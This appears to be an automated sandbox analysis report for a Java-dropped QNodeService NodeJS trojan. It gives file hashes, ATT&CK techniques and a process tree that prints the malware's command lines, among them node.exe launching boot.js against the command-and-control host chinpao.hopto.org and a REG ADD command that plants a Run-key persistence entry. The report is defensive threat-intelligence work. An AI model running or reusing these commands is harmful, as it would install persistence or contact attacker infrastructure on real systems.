qnodeservice | 43b00ce8ab382b247ec70fe0ea52becff208637b49c56a54c35c89043aed0ada

General

Target

AWB051120.jar
Size

109KB
MD5

f17ee8a3e364faa7296e453ad60cd1d4
SHA1

863fe6242f284f1dcc7ecbb2faccd296895d5cdf
SHA256

43b00ce8ab382b247ec70fe0ea52becff208637b49c56a54c35c89043aed0ada
SHA512

15b2776081bd224ab63d636edf0096b1aa7eaf5b633e8c7a9710d4c7086f144dbc9d49235503f72fa62530a23ae0f49c477f0976457a301b1756294793c6711c

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
4704	node.exe
216	node.exe
4420	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\54200de0-3ded-4b4c-8cd7-6b2bf57355fc = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab63-170.dat	js
behavioral2/files/0x000100000001ab63-173.dat	js
behavioral2/files/0x000100000001ab63-177.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
24	wtfismyip.com
25	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
4704	node.exe
4704	node.exe
4704	node.exe
4704	node.exe
216	node.exe
216	node.exe
216	node.exe
216	node.exe
4420	node.exe
4420	node.exe
4420	node.exe
4420	node.exe
4420	node.exe
4420	node.exe
4420	node.exe
4420	node.exe
4420	node.exe
4420	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4764 wrote to memory of 380	4764	java.exe	77
PID 4764 wrote to memory of 380	4764	java.exe	77
PID 380 wrote to memory of 4704	380	javaw.exe	81
PID 380 wrote to memory of 4704	380	javaw.exe	81
PID 4704 wrote to memory of 216	4704	node.exe	83
PID 4704 wrote to memory of 216	4704	node.exe	83
PID 216 wrote to memory of 4420	216	node.exe	84
PID 216 wrote to memory of 4420	216	node.exe	84
PID 4420 wrote to memory of 1588	4420	node.exe	86
PID 4420 wrote to memory of 1588	4420	node.exe	86
PID 1588 wrote to memory of 3116	1588	cmd.exe	87
PID 1588 wrote to memory of 3116	1588	cmd.exe	87

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\AWB051120.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:4764
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\c1237116.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:380
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain chinpao.hopto.org --hub-domain localhost
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4704
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_3ZXWfa\boot.js --hub-domain chinpao.hopto.org --hub-domain localhost
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:216
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_3ZXWfa\boot.js --hub-domain chinpao.hopto.org --hub-domain localhost
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4420
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "54200de0-3ded-4b4c-8cd7-6b2bf57355fc" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1588
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "54200de0-3ded-4b4c-8cd7-6b2bf57355fc" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3116

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/216-174-0x000003542A6C0000-0x000003542A6C1000-memory.dmp

Filesize
4KB

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memory/4420-178-0x0000034BBE540000-0x0000034BBE541000-memory.dmp

Filesize
4KB

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memory/4704-171-0x00000352E25C0000-0x00000352E25C1000-memory.dmp

Filesize
4KB

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